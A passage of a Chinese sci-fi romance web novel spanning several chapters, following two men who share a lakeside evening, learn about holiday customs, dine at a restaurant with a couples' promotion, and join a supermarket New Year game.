夜风温柔拂来，带着几分湖水的咸涩微凉与植物的草木清香。远处隐约有欢笑声时隐时现，衬得二人身边的氛围愈发静谧下来。 江寻目光温柔，侧头看向偎在身边的陆厌离。 他的眼眶与唇瓣还残留着几分情动的嫣红，在身周摇曳着的各色幻光照耀下，显得格外动人心魄。可他自己却懵然不觉，像个孩子一般兴致勃勃地左顾右盼，欣赏着夜色下这番美丽的景致。 偶尔看到什么新奇景象，还会微微睁大双眼，笑着凑近过来低声与江寻分享一两句，让原本只有七分的美景也焕发出了十二分的魅力来。 一应一答间，他们在这一刻抛开了所有的身份与责任，漫无目的地随心而游。一字一句中，浸满了难以言喻的甜蜜滋味。 行至湖畔小道，忽听旁边茂密的观赏草丛中一阵草叶摩擦的窸窣声响，随即，一对看起来只有四五岁的孩童，手牵着手跑了出来。各自举着一支正在“滋滋”冒着金紫火花的烟花棒，嬉笑着冲到了他们面前。 两人没有携带光源，身形又比两个孩子高得多，若不是反应敏捷地迅速避开，险些直直被两个孩子撞个正着。 眼前突然出现的高大黑影显然吓了孩子们一跳，他们口中的笑声戛然而止，脚下也猛地刹住了脚步，仰起头来看着两个陌生的面孔，两张相似的小脸上同时露出怯意来，瑟缩着紧紧牵着手后退了一步。 江寻拉了拉陆厌离的手，与他一起半蹲下来，对着孩子们露出一个温和的微笑。 显然，这样的举动大大缓解了两个孩子的戒心，他们对视一眼，睁着大眼睛，上上下下地打量起江寻两人，一模一样的眸子里，闪烁着相同的好奇。 “小朋友们，跑这么快要去哪里呀？你们的爸爸妈妈呢？”江寻温声问道。 “我们要去格温叔叔家找小艾米一起玩！” “爸爸妈妈没我们跑得快，还在后面呢！” 听到江寻的柔声问话，两个孩子立刻放松了下来，一双小脸立马恢复了之前的活泼。 “要小心点哦，不要摔跤了，也不要离湖面太近。”江寻抬头望了一眼远处渐近的人影，轻声叮嘱一句。 “知道啦~”两个孩子拉长声音应道，又咯咯咯地笑了起来，一看便是两个调皮鬼。 左边那个系着一个小领结的男孩，眨巴着大眼睛，看了看江寻和陆厌离紧紧牵在一起的手，突然没头没脑地冒出一句话来：“大哥哥，你们也是爸爸妈妈吗？” 江寻被这个无厘头的问题问得一怔，还没想明白是什么意思，旁边扎着羊角辫的小女孩就接着问道：“爸爸妈妈说，像我们这样的小孩子手拉手就是好朋友。如果是像他们一样的大人手拉手，就是别人的爸爸妈妈啦！大哥哥们也是爸爸妈妈吗？” 听明白了两个孩子的问话，陆厌离当即脸颊一红。而江寻则是忍俊不禁地“噗嗤”一声笑了出来，却还是顶着陆厌离的目光，认真向孩子们解释道：“不是的，像你们的父母一样，一个叔叔和一个阿姨手拉手才是爸爸妈妈。像我们这样两个哥哥，应该是两个爸爸才对。” “噢——！”两个孩子仿佛得知了什么格外新奇的事物一样，睁大眼睛，长长应了一声，又马上礼貌道谢：“谢谢哥哥！我们知道啦！” 陆厌离当即暗地里捏了捏江寻的手，递去一个埋怨的眼神。 江寻却低笑一笑，将他的手握得更紧。 这时，那小女孩又歪了歪头，看了看江寻两人交握的手，又看了看自己和哥哥牵在一起的手，忽然咯咯地笑了起来，把自己手里那支还在燃烧着花火的烟花棒，往看起来更年轻一些的陆厌离手里一塞，奶声奶气地说：“哥哥，给你们！爸爸妈妈说，有好东西要和小伙伴一起分享！” 说完，也不等陆厌离两人回应，便拉起哥哥的手，咯咯笑着向前跑去，只留下身后一串银铃般的笑声。 陆厌离猝不及防间，被一个四五岁的小孩子塞了礼物，一时竟没有反应过来，有些怔愣地握着手中那支突然出现的烟花棒。看看烟花，又有些无措地扭头，求助般望向江寻。 金紫色的灿烂花火，映在他的眼底，配上他此刻懵懵懂懂的神情，恍惚间仿佛还是少年模样。 江寻看着这温馨的一幕，心中一片温软。站起身来，拉着还有些没回过神来的陆厌离，走到湖边的一张长椅上，并肩坐了下来。 陆厌离仍然举着那支意外得来的礼物，看着那烟花棒在两人之间不断绽放出花火，发出细微的“噼啪噼啪”声。将他们的面庞映得忽明忽暗。眼神中，闪烁出一种新奇又有些兴奋的光芒来。 江寻看着这样的陆厌离，心中微动，轻声问道：“没玩过这个吗？” 陆厌离的视线依旧黏在那支烟花上，看着它不断缩短，燃尽最后的绚烂，最终彻底熄灭，化为一缕青烟，这才轻轻的“嗯”了一声。 他轻轻靠上江寻的肩头，目光仍然追随着那抹青烟渐渐远去。声音在静谧的夜色中显得格外得轻：“我家里……情况有些复杂，很小的时候起，就不在父母身边了。后来大部分时间里，不是在出任务，就是睡在休眠舱里，没怎么过过节……”他说得很简短，寥寥数语就概况了自己的前半生。 顿了顿，又有些惭愧地说：“对不起，我身上只有一个S级哨兵的身份值得称道。好多东西我都没见过，也不会用。许多事也不会做，很多场景也没经历过。认识的人也很少，根本帮不到你什么，总是要你辛苦照顾我……” 江寻的心像是被什么东西轻轻揪了一下，泛起一片细密的疼。可同时，又从心底生出些欣喜来。 他一直知道，陆厌离心底不知为何，一直藏着些莫名的自我厌弃。从前，他都始终在独自承受，偷偷在心里难过着、压抑着。 而此刻，他终于开始信任自己，能将这些话语平静地吐露出来了。 他看着陆厌离在朦胧的灯光与斑斓夜色下，显得格外透明脆弱的脸庞，伸出手，将他轻轻揽入自己怀中。 “陆厌离，我从来都不是因为你能为我做到什么，才和你在一起的。有一些东西没见过，不会用也都没关系，没有人是天生什么都会的。我也有许多你所擅长的事情做不好不是吗？比如我不怎么会用枪械，也不太会开各种载具，更是不会驾驶机甲。” 江寻的手臂环着对方被夜风吹得微凉的身体，下巴抵上他的发顶，慢慢说着： “不要为这些无法改变的过去介怀。我反而有些高兴……”他紧了紧手臂，深深看进陆厌离的眼眸，一字一句仿若誓言，“从今往后，我会陪着你经历所有错过的美好，见证你的每一个第一次。你所有重要的、幸福的时刻，都会有我的参与。” “便如此时，便如此刻。” 江寻的声音越发低沉下来，低头珍惜地轻触陆厌离的双唇。 “陆厌离，很荣幸能参与你的人生，织入你所有美好的记忆里。”—— 作者有话说：偷偷的干活，打枪的不要[求你了] 第207章 第二天一早， 江寻打着哈欠睁开了眼睛。 昨天忙了一整天，晚上还和陆厌离欣赏了许久的夜景，回家之后不免又与他亲昵了半天， 到真正睡下时已是后半夜。到这会儿他也才睡了三个小时左右，实在有些起不来床。 不过想想，今天圣所也没有课，只要过去行政大厅提交了任务报告， 签完到， 再领取一下任务奖励就能回家了， 他还是克服了困意，轻轻把陆厌离搭在自己身上的胳膊挪开， 起身下了床。 陆厌离还睡得深沉。军部今天也已经开始放假了，江寻便没有叫他起来，拿起自己的衣服， 快速洗漱好， 便脚步轻悄地出了门。 一出房门，呼出一口在空气中变成白雾的冷气，神志马上清醒了不少。 江寻拢了拢衣领， 快步走向主干道， 一路向着圣所的方向走去。 明天就是今年的最后一天， 中央星上许多家住其他星球的人， 已经早早搭上了回乡的穿梭舰， 踏上了归途。街上的行人明显少了许多。 但与此同时， 各家各户都把迎新年的装扮摆了出来。有的按照自己星球的习俗布置， 有的则是参考了社区推荐的主流风格。一眼望去，一片红红火火中，又点缀着各具特色的装饰， 新年的味道十足。 江寻一路边走边看，面上便也不知不觉地挂上了笑容。 一路行至圣所，外面倒是人很少，行政大厅里却排队等着许多人。不过许是连工作人员都想早点回家去，今天的处理速度格外迅捷，江寻还没排多久，便轮到了他的号码。 到现在为止，他也做了不少次强制任务了，对一套流程已经很是熟悉。向工作人员报上任务编号，提交了提前准备好的任务报告后，便一边等着对方确认，一边开始填写回执单。 他如今出门很少戴等级徽章，但还是免不了被处理业务的工作人员从报告单上看到等级，露出惊喜的神色。不过在江寻的示意下，对方也没有声张，让他安安静静地办理完了这次的手续。 面对着这位年轻英俊的S级向导，工作人员也格外热情，手脚麻利地为他完成结算后，还笑着提醒道：“江寻同学，从明天开始就是学院的新年假期了，本次新年假一共十天，期间圣所的所有课程暂停，如果您在这期间外出游玩的话，请注意时间，十号记得及时回校签到。祝您假期愉快！” “多谢，也祝您新年快乐！”江寻接过任务结算单，同样笑着礼貌回应。 从圣所出来，他又一路前往了愈灵殿。按照计划，他还需要在这里进行两个小时的劳动服务，才能凑够本周的服务总时长。 临近新年，愈灵殿中的气氛也比往常要松散了许多。 虽然仍然有值班的医师坚守在岗位上，但大部分研究小组已经提前进入了休假状态。连尼克斯组长这个实验狂魔也不在，江寻记得尼克斯组长的家乡也不在中央星，想必此刻他已经坐在回乡的穿梭舰上了。 今天需要他帮忙的实验很少，去两个小组里帮过忙，江寻就空闲了下来。正坐在休息室里养神，就看到一位熟悉的研究员，抱着一个包裹兴冲冲地走了进来，连手头正在做的实验都暂时放在了一边，开始拆起快递来。 江寻有些好奇，但也没有失礼地直接凑过去，只是默默把注意力放在了他身上。却见包裹打开，被精心盛放在礼盒中的，是几块被切割过的黑色石头，看不太出来是什么材质，像是矿石又像是某种珠宝。 见里面不是某些私人用品，江寻也不再避嫌，好奇地坐近了些，问出口来：“李研究员，你这是……从哪里弄到的新的实验样本吗？” 那位李姓研究员闻声抬头，先是露出了一副疑惑的神情，一看是江寻，想到他的出身经历，这才恍然，笑着拿起一块小石头，摊在手心给江寻看清楚：“不是，这是我买的新年礼物，黎明石。打算自己制作几个小饰品，送给家人的。” “黎明石？”江寻对这个名字十分陌生。 “对啊，你以前不在中央星这边，可能不清楚咱们这边的传统。”可能这些搞科研的学者们都非常好为人师，一见江寻果然对此一无所知，李研究员顿时来了兴致，热情地为他科普起来，“现在联盟统一使用的都是星历，那你知道这星历的由来吗？” 江寻自然没有听说过，马上摇了摇头。 “星历一月一日，也叫‘黎明日’，纪念的是前星际时代，人类第一次成功反抗外星奴役，打响独立战争第一枪的日子！三百多年前，就是在那一天，我们人类第一次以对等的身份，与那个奴役了我们二百多年的星际文明坐上了谈判桌，令他们正式投降，并且拿到了我们进入星际时代之后的第一颗外域星球——那颗让我们的祖先挖了二百多年矿的矿产星！” 他的语气中充满自豪，丝毫不为曾经那段被奴役的历史而羞愧，有的全是对先辈满满的崇敬。他指了指手上的石头：“后来那颗星球在联盟建立之后，被重新命名为‘黎明星’，以铭记我们人类曾经的奋斗史。而这种矿石，就是那颗星球上储量最丰富的特产矿石，所以，我们便给它起名‘黎明石’。” 李研究员将那颗小小的矿石拢在掌心里，只露出一个指缝大小的空隙，示意江寻往里面看。 江寻好奇地低头看去，惊讶地发现，这块刚才看来还平平无奇的矿石，在失去了外部的光源后，竟然在黑暗中发出了阵阵微光。 “看到了吗？其实这种石头本身没有什么特别的属性，不是什么重要的矿产资源。但是它拥有的这种，在黑暗环境下自发光的特性，让它在一些特殊的领域里被使用。”李研究员感叹道，“这个样子，像不像黎明之前的曙光？很多历史学家、人文学家都提出过这样一个观点，正是因为它这种在黑暗中发光的特性，才让三百多年，我们人类的先祖们，在绝境之中始终心存希望，最终才让这星星之火汇聚成燎原大火，为人类带来了新的曙光。” “所以，在星际联盟成立之后，就慢慢形成了一个风俗，在黎明日这天，最亲近的挚友家人之间，会互相赠送对方黎明石，寓意着铭记历史，心怀希望，也象征着彼此是对方心中最重要的那道光亮。”李研究员的眼中浮现出感慨的神色。 听到这里，江寻心中一动，一个念头迅速成形。 “非常感谢您告诉我这些。”江寻礼貌地向李研究员道谢后，便立刻走到了安静的地方，登陆星网，搜索了下现在仍在发货的靠谱商家，下单购买了一块品相不错的黎明石。 只是毕竟临近新年，大部分运输业都已经放假，配送不可避免地慢了些。客服提示了一下他，最快也要到后天，也就是一日一日，才能到货。 江寻理解这种情况，把收货地址定在了湖畔区自家别墅，便果断付了款。 很快，两小时的劳动服务时间结束。江寻向仍然在值班的几位愈灵殿工作人员提前预祝了新年之后，便收拾东西，走出了愈灵殿的大门。 刚迈出大门，一眼看到不远处那辆熟悉的悬浮车，眼中便不由自主地泛起欣喜。 毫不犹豫地快步走近，江寻一把拉开车门坐进了副驾驶座。 看着陆厌离带着些得意望过来的碧眼，江寻低声一笑，自然而然地揽过对方的脖颈，倾身过去温柔一吻。 “你怎么过来了？”放开了人，江寻按下安全扣，侧头看向陆厌离，“什么时候起来的？” “刚起没多久……”陆厌离有些不好意思，“算着时间，差不多到你结束的时候了，就过来接你了。” “时间刚刚好，不然我还要慢慢走回家呢。”江寻在这种日常的小事中从不吝啬，一点点小事都会给予陆厌离肯定。果然，一听这话，陆厌离的眼睛更加弯了起来。 “既然都出来了，我们中午就去外面吃饭吧？”江寻看了看时间，提议道，“吃完饭，刚好再去一趟超市，马上过年了，我们也去买点年货。” 陆厌离闻言，眼睛立马亮了起来。他对于“过年”这个概念实在模糊，但也知道，这些都是寻常家人们过节时会做的事。如今，他要和江寻第一次一起准备过年，心中马上期待了起来。立马大声应道：“好！” 江寻一笑，打开终端搜索了一下附近的餐厅，与陆厌离商量后，很快选定一家，一边在星网上预约，一边启动了车子，向着目的地方向驶去。 疾驰而过的车窗外，节日的彩灯花束已经悬挂了起来，处处都洋溢着与平日里截然不同的热闹氛围。 虽然陆厌离今天出门是一身居家打扮，与他平日里出现在公众面前时，形象差别很大。不过，考虑到他的身份，如果去人太多的地方，可能还是会被一些关注军事领域的民众认出来。 今日两人只想好好吃一顿饭，于是便没有选择那些人气旺盛的明星餐厅，而是筛选了一家口碑很好，以环境清净雅致著称的小馆。 这家“汀兰居”主打家常菜肴，餐厅内的装潢温馨怡人，灯光柔和，桌距也较宽，室内还以巧妙的方式以绿植、隔断等形式分割出一个个较为私密的空间。坐在卡座上，只能看到相邻的两三桌，正符合江寻两人的需求。 江寻与陆厌离对视一眼，满意地点点头，便跟着言行有礼的服务生，在一个双人座上落座下来。 引他们过来的服务生也很有眼力，见江寻二人翻阅菜单半天也丝毫没有不耐的情绪，只是在他们犹豫不定时，适时上前介绍一二，让很少来这种商业餐厅的陆厌离放松了不少。 不过，江寻二人其实都很少在外用餐，看着这花团锦簇的菜单，也不太清楚这些菜肴都是什么口味的。翻了半天也没有最终决定下来点哪些菜。 站在一旁的服务员见状，目光在两人自然亲近的相处姿态上停留了一瞬，上前半步弯下腰来，脸上露出个善意的微笑，对着他们推荐道：“两位先生，我们餐厅的菜品确实比较多，如果二位实在不好抉择的话，要不要试试我们的套餐？” 见二人脸上没有什么被打扰的不悦，这位服务员这才继续道：“新年期间，我们餐厅推出的好几种套餐都十分受到顾客的欢迎呢。特别是这个‘阖家团圆’套餐……”他说着，在手中的感应板上操作几下，让两人看到展示出来的全息图像，待看到两人点了点头，又往后翻了一页，“还有这个‘永结同心’套餐。” 他看向江寻两人，面上始终带着微笑：“这两个套餐，一个主打团圆美满，一个祝愿感情甜蜜，长长久久，都是我们店里卖得最好的套餐。不管是分量、口味还是菜品种类，都深受好评，很适合您二位呢。而且，选择套餐的顾客，本店还会附赠一份神秘惊喜，以及一张在我们特意布置出的全息背景墙前的新年拍立得。另外……” 说到这里，服务生笑着压低了一些声音，带着些许俏皮补充道：“新年期间，我们店里还有优惠活动，如果选择的是‘永结同心’套餐，只要经过工作人员的亲吻认证，即可享受全单八折优惠哦。” 江寻虽然如今没怎么在外面吃过饭，但在地球上的时候，却是很熟悉这种模式了，闻言只是了然一笑。可陆厌离连这种套餐的形式都很少见过，哪还听说过这种以“亲吻”换取折扣的促销手法。 他都压根不明白这个陌生人是怎么知道江寻和自己之间有亲密关系的。听到这个条件，当即手指一缩，面上漫上了一些薄红。下意识地垂下眸子，避开了服务生带笑的目光，显然对于在陌生人面前展露出两人之间的亲密还很不适应。 碰巧的是，此时在他们邻座也落座了两人，他们也是一对年轻的情侣。正是听说了这家店新年期间的优惠活动来的，落座之后就爽快地点了情侣套餐，并大大方方地当场亲吻了一下拿到了折扣。 此时，二人注意到了这边的情况，看到陆厌离有些害羞的模样，立刻便看出这定是一对儿确定关系还不久的情侣。再看看江寻两人的外貌，均是年轻高大，相貌出众，其中那个性格更加外向一些的女孩子，当即忍不住笑着低声起哄道：“亲一个嘛！帅哥，你男朋友多帅啊！” 另一人也笑着附和：“就是，别害羞啊！” 二人的调侃，却让陆厌离的脸颊更烫了起来。 江寻将他的窘迫看在眼里，知道他还不适应这样的情况，往他身边挪了一步，揽住他的肩膀，笑着对邻座的两位顾客摇了摇头，转而对着服务生温和地说道：“谢谢你的推荐，我们就要这个‘永结同心’套餐了。不过我的伴侣比较内向，还不太习惯这样，折扣就不用了，我们付全价就好了。” 被江寻以维护的姿态护在身边，又听着他为自己解围的话语，陆厌离心头顿时一暖。微微抬头看了江寻一眼，正对上他望过来的双眼，其中的温和包容，当即令他有些窘迫不安的心安定了下来。伸手拉住江寻的手掌，这温热的触感便突然给了他勇气。 江寻话音刚落，他就轻轻一拉江寻，在对方看过来的时候，手臂当即绕过江寻的脖颈，用力将他拉向自己，一个仰头便吻了上去。 陆厌离的突然动作，让江寻都惊讶了一瞬。但他马上就反应了过来，配合地顺着他的力道微微低下头去，任由陆厌离有些颤抖的唇瓣贴上自己，温柔地对他这份勇气予以回应。 “哇！” “好般配！” 一眼看到两人真的亲吻了起来，邻桌两人的起哄声顿时变成带着笑意的欢呼，甚至引得更远处的几桌客人也遥遥望了过来，送上祝福的掌声。 耳边听着众人的声音，陆厌离的脸颊更红，一吻结束就迅速低下了头去。这一次，那红晕甚至顺着衣领蔓延到了脖颈下，但那只紧握住江寻的手却始终没有松开。 站在两人身边的服务员也带着灿烂的笑容为他们鼓掌，随即，利落地从旁边的服务台上取来一小瓶精致的鲜花摆放在了两人的餐桌上，语气轻快地说道：“祝福两位甜甜蜜蜜，天天开心！套餐马上为您们准备，附送的新年拍立得随时可以去那边的背景墙处找摄影师拍摄领取。”他眨了眨眼，又笑着补充道，“折扣已经为您们自动计入账单了，祝二位用餐愉快！” 话落，服务生便带着菜单慢慢退了下去。邻座的顾客也在一阵笑闹后，对着江寻点了点头，开始用餐。陆厌离这才慢慢平静了下来，轻咳一声，有些不好意思地松开江寻，坐回了自己的座位上。 江寻低低一笑，也没有点破，趁着等待的时间，为两人摆放好餐具。 很快，他们点的情侣套餐就开始陆续上桌。 江寻大致看了一下，莞尔一笑。果然都是专为双人设计的菜品，餐品都是那种方便分享的大份菜肴。种类也很全，从开胃前菜到甜品饮品，一应俱全。 色彩明亮的水果派散发着甜美微酸的香气；新鲜的海鲜刺身，选用了最细嫩清甜的品种；蜜汁烤制而成的小排已经被分割好了，鲜嫩多汁，表面一层焦黄油脂泛着诱人的光泽；甜品蛋糕被制作成方便入口的大小，样式可爱，颜色缤纷，看起来就十分可口；而搭配的饮品则是一个硕大的雕花玻璃杯，里面盛着一种粉红色的饮品，表面还铺了一层淡奶油，插着两根弯曲的吸管。 一眼望去，明显都是偏甜口的食物，怪不得是“情侣套餐”呢。 陆厌离有些新奇地看着陆续上桌的菜肴，目光特别在那杯插着两个吸管的饮品上停留了半天。 他以前吃过的食物，多是军用营养剂或者军部食堂，最丰盛的大概就是各种宴会了。但因为他自身的能力，在那些场合里，他总是匆匆来去，基本没有落座真正享受过美食。 此时看到这些色彩缤纷，造型精致的菜肴，闻着它们混合在一起的甜香，特别是身边陪伴的人还是江寻，立马对它们产生了浓厚的兴趣。 江寻见状，也不耽搁工夫，给陆厌离的餐盘里夹去一片水果派，便与他一起用起了餐来。 这家店果然不愧是在星网上口碑很高的餐厅。每一道菜品味道火候都掌握地恰到好处，吃起来十分顺口。两人都有些饿了，很快便消灭了不少菜品。 还让江寻发现了一个小秘密，原来比起正餐，陆厌离对于各种甜味的糕点零食更为喜爱。那烤小排都没有吃掉多少，倒是最先上的水果派与小蛋糕被他消灭掉了不少。 他自己对此好像还懵然不知，看到江寻对着他笑得神秘，一脸莫名模样。 用餐到一半时，三位各自抱着不同弦琴的乐师悄然来到了他们桌旁，躬身致意后，便在他们身边奏起一支轻柔浪漫的曲子。江寻这才知道，原来这就是套餐里所说的“特殊惊喜”。 陆厌离显然没有经历过这样的用餐体验。 见到三位乐师突然停在自己身边开始演奏，条件反射地就戒备了起来。而后想起了两人现在的处境，又变成惊讶，扭头得到江寻一个肯定的眼神后，终于冷静下来。随后，同江寻一起，在悠扬的乐曲声中逐渐放松了下来，唇角扬起细微的弧度。 江寻在享受着这一餐的同时，注意力却大部分都在陆厌离的身上。只是一顿普通的用餐，没想到竟让他见到了陆厌离这么多不同的模样，他甚至都有些后悔，带他出来得太晚了。 用餐到最后，餐厅还为二人送上了一份做成双星环绕造型的冰淇淋船。被做成船身的脆壳里，除了冰淇淋，还洒着许多种坚果与糖霜颗粒，用巧克力摆出了漂亮的造型。 到了此时，陆厌离已经彻底放松了下来，完全忘记了自己还在公众场合里，挖起一勺带着坚果碎的冰淇淋便自然地送到了江寻嘴边，看着他笑着张口吃下，满意地点了点头，这才心满意足地自己品尝了起来。 第208章 一顿饭吃得两人都是心满意足， 江寻愉快地刷了终端付款后，还特意为那位周到的服务员留下了一笔不菲的小费。 临走时，想起套餐里还有一张附赠的拍立得， 两人又兴致勃勃地寻了过去。 那是一块被特意布置出来的拍摄区，周围装饰着许多彩色气球、立牌和挂幅，看起来浪漫十足。背后的投影背景，可以选择各种不同的风格。两人翻看一下选项， 最后选定了一个幽静唯美的月下森林场景。 直到两人有些僵硬地直直站在拍摄区的中央， 他们才意识到， 这似乎是两人之间的第一张合影。 相视一笑间，情意流转， 柔情脉脉。 江寻揽上陆厌离的腰间，陆厌离则顺着他的力道轻轻靠上他的肩膀，两人的双手紧紧交握， 在这略显稚气甚至有些少女心的布景前站定。 听着景框外， 摄影师的倒计时，露出了一个全然放松的幸福微笑。 “咔嚓”一声，这一刻的幸福被相机永远定格下来。 “拍得真不错， 二位都很上相， 氛围也很好呢！”摄影师扇动着那张逐渐显影的拍立得相纸， 对两人赞叹道。 陆厌离抿嘴一笑， 带着几分迫不及待接过照片， 看着那相纸上的影像在眼前慢慢变得清晰起来。 唯美梦幻的投影森林中， 他与江寻依偎着并肩而立， 直视前方的脸上带着自己从没在镜子中看到过的柔软笑意。而江寻，坚定地站在他的身后，目光并没有看向镜头， 而是专注地落在他身上。 陆厌离双手捧着这张小小的照片，指腹在二人脸上轻轻摩挲着，心中涌起无限的欢喜。他小心翼翼地捏着相纸的边缘，把照片举给江寻看。洋溢在身上的那份几乎要满溢而出的幸福与雀跃，令江寻心中温软至极，忍不住又环住他轻吻了一下。 “等回家去，把这张照片好好保存起来，是我们的第一张合影呢。”江寻轻声提议。 “嗯！”陆厌离用力地点了点头，又反复端详了照片好几遍，这才郑重又小心地把它收进了贴身的口袋里。 “我们走吧。”江寻牵起陆厌离的手，在餐厅柔和的灯光下，心满意足地离开了。 * 只是简单的一顿饭，却让两人心情都十分轻松雀跃，陆厌离甚至翻出自己的终端，找到那家餐厅，又为它打了一个高分，这才满意地拉着江寻乘上悬浮车，按照他们的计划，向着超市的方向飞去。 越是接近超市，周围的车流与人群就越发密集起来。 明天就是今年的最后一天，像他们一样，赶在最后时刻才来采购的人依然很多。超市入口处此刻人声鼎沸，两人离得老远就看到了门口台阶上攒动的人头。 悬浮车在爆满的停车区里转悠了好半天，好不容易才找到空位停靠下来。下了车子，看到面前人流如织的景象，陆厌离下意识地蹙了蹙眉。 “唔，人似乎有点多呢。”江寻适时地揽住他的肩膀，将一顶帽子按在他的头上，歪头打量了一下他的新造型，笑着问道，“这样会不会好一点？” 宽大的帽檐遮住了一半视野，再加上江寻适时牵住了他的手，陆厌离当即便放松下来，对着江寻点了点头，跟着他踏上了入口前的台阶。 一脚踏入超市，一股喧闹的声浪当即扑面袭来。 广播里播放着欢快的新年歌曲，大人们推着购物车，一边对比着商品的优劣，一边带着笑容，热烈地讨论着过年的安排。还有许多放了假的小孩子，拉着手在货架之间笑闹穿梭，。封闭的空间里，这些声音被统统汇聚到了一起，充满了生活的气息，却也略显嘈杂。 陆厌离还没来得及调整自身的听觉敏感度，耳边的声音就是一低，像是被蒙上了一层过滤器。他惊讶地看向江寻，得了对方一个肯定的点头，便会心一笑，不再多问，拉着江寻推上购物车，一起走进了货架之间。 江寻拿出了事先列好的清单，这上面记录着一些必买的生活用品。除了这些之外，他们还打算给家里的冷藏室里补充一些新鲜食材。两人和周围所有的家庭一样，穿梭在货架之间，一边挑选着商品，一边讨论着假期的计划。 “难得过节，我们自己在家做火锅吃吧？”江寻拿起一包底料，提议道。 “好啊。”陆厌离闻言马上把目光转向旁边的冰柜，里面摆着各种盒装的火锅食材，只不过他都不怎么认识，“嗯……各样都拿一点回去？” “可以。”江寻也凑了过去，看着陆厌离随着自己的心意挑选了几盒不同的肉片，“待会再去蔬菜区买些配菜。” “再买点饮料和零食。”江寻看了看两人面前的购物车，想到刚才吃饭时刚刚发现的小秘密，对陆厌离说道。 “嗯！”果然，陆厌离几乎不假思索，就马上重重点头，肯定了这个提议。 江寻暗自偷笑一声，把选好的商品放进购物车里，揽着陆厌离继续向前走去。 两人就这样一边走一边商量，将未来几天假期里所需要的东西，一点点填满手中的购物车。 陆厌离一路与江寻说着话，悠闲地逛着商场，直到站在了排队结账的队伍里，才恍然发觉，自己这一路过来，竟然没有去在意过身周嘈杂的人群。 他侧过头去，看着江寻一边清点着购物车里的商品，一边和自己手中的清单一一核对，一种奇异的踏实感从心底油然而生。低笑一声，他不再多想，凑上前去，帮着江寻在购物车里翻找着几样在清单上没找到的商品。 等待，扫描商品，付款，装袋。一套流程下来，两人双双提着大大的购物袋相视而笑，顺着出口的人流向外走去。没走多远，却见许多买完了东西的顾客，正聚集在出口前的空地上，阵阵欢笑声、起哄声不断传来。一个激昂的人声透过布置在场中的音响，越过层层人墙，从空地中央飘了过来： 【新年祈愿，家庭安康！欢迎各位顾客光临瑞丰超市，值此新春佳节之际，瑞丰超市全体员工祝大家新年快乐！“迎新年，送福穗”活动正在火热进行中，凭购物小票即可参与互动游戏，赢取奖励，欢迎各位顾客踊跃参加！】 两人抬头，向那人群聚集的中心处看去，只见空地中央，此时已经搭建起了一个醒目的展台。展台的背景板上，印着一片金灿灿的稻穗图案。正中央，写着几个大字：“祈愿美满，福慧安康——迎新年宁神穗派送活动”。 而聚集起来的人流，已经在展台前排起了长龙，人人都喜笑颜开地一边排队，一边看着台上正在进行的活动，随着台上传来的声音，不时爆发出一阵阵哄笑声。 “宁神穗？”江寻看着站在展台中央的主持人，在说话间，将一束金黄色类似稻穗的植株，递给刚刚参与完活动的一家人，有些疑惑地将背景板上的名称念了出来。 陆厌离顺着他的目光看去，想了一想，解释道：“对，那个叫宁神穗。新年的时候在家中悬挂宁神穗，这是联盟流传下来的一种习俗。据说在我们的先祖刚刚发现精神力，通过人工干预制造出了第一代哨兵，却还没有出现向导的时期里，从这种植物中萃取出的提取物，能够有效帮助当时的哨兵平复躁动的精神，延缓堕化速度，在那个物资贫瘠又没有向导的年代里，这是非常珍贵的植物。” “那时我们与星际中的其他族群常年战斗，而哨兵是我们最重要的战力，所以，每年过年时，大家都会祈愿来年宁神穗能够丰收，保住更多哨兵的性命。后来，即使出现了向导，宁神穗不再占据重要地位，它所象征的意义却依然流传了下来。慢慢地就形成了新年期间在家中悬挂宁神穗，祈愿家人身体健康的习俗。” “这样啊……”江寻望着前方排成长龙的队伍，心中一动，转头看向陆厌离，眼中带着清浅温和的笑意：“你也没有给家里挂过吧？今年想不想拿一束回家去试试看？” “嗯？”陆厌离闻言一楞，碧眸微微睁大看着江寻认真的表情，“去、去和那些民众一起排队领吗？”惊讶令他连简单的一句话都说得磕绊起来。 “是啊，你听，规则是凭购物小票就可以参加，我们也可以去领啊。”江寻看着陆厌离呆愣愣的表情，更加觉得这是个好主意。 “可是……嗯……？”陆厌离扭头，看向那些欢笑着排着队的民众。在他的成长经历中，从没有参与过这种普通人的集体活动。江寻的提议，完全超出了他的认知范围，是他根本没有想到过的选项。 一丝本能的局促和不好意思从心头掠过，他望着那边再次登上展台的参赛嘉宾，犹豫道，“这……可以吗？” “当然可以了，我们也是顾客呀，完全符合参与条件。我们走。”江寻朗笑出声，握住陆厌离的手便往前方排队的长龙队尾走去。 陆厌离被江寻紧紧牵着往前走，初时有些惊慌，但看到江寻带笑的眼眸后，那点惊慌很快就变成了一种夹杂着新奇与期待的跃跃欲试。他反手紧握住江寻的手掌，露出一个轻快的笑容，跟上了对方的脚步。 两人按照规则排到队尾，一边有些期待地排队等待着，一边观看台上已经轮到轮次的顾客参与互动小游戏。 正好这时，又有一对夫妇带着自己的孩子走上展台，主持人再次热情洋溢地对着新来的顾客们讲解着游戏规则： “欢迎各位顾客参与我们超市举办的‘送福穗’活动！只要参与我们的互动小游戏‘心有灵犀’，就能获得一束宁神穗作为奖励，除此之外，如果赢得游戏，还能获得更多奖品！” “我们的规则很简单：每个报名的家庭派两位成员参与活动。请在题板上分别写下，您的购物小票上，您认为您的家人最想买的一件商品！如果双方都猜中了对方的选择，那么这两件商品，我们超市将直接为您免单，并送上我们精心制作的宁神穗花环大奖！”他说着，举起旁边的托盘上，一个制作精美的金黄花环向四面展示，“如果只有一人猜中，就只能为猜中的商品免单。如果都猜错了也没关系，您还可以获得我们赠送的参与奖——一束宁神穗作为纪念！” “不过，请大家注意，请不要提前商量好哦！这个活动可是我好不容易为大家争取来的，免单太多，领导一定会骂我的！”主持人俏皮地对着台下扮出一副可怜的表情，逗得台下人群一阵大笑，“我们的工作人员也会一直在旁边监督，如果发现有顾客违规，那我们就只能遗憾地宣布您失去参与资格了。” “好了，话不多说！让我们来看看，台上的两位嘉宾，是否真的‘心有灵犀’！”规则讲解完毕，主持人热情地宣布游戏开始，伴着台下观众们的哄笑声，新一局游戏拉开序幕。 江寻与陆厌离相视一笑，心中有些新奇，又有些兴奋。陆厌离当即便抽出他们长长的购物小票，上下浏览起来，思考着江寻心中属意的答案。 而江寻，看着身边露出一副跃跃欲试表情的陆厌离，莞尔一笑。 队伍前进得很快，大家都对这个有趣的小游戏充满了兴趣。当台上有人猜对了答案时，所有人都会一起发出喝彩。若是有人猜错了，也会响起充满了揶揄的哄笑声。不论台上台下的人群，都是一片喜气洋洋。 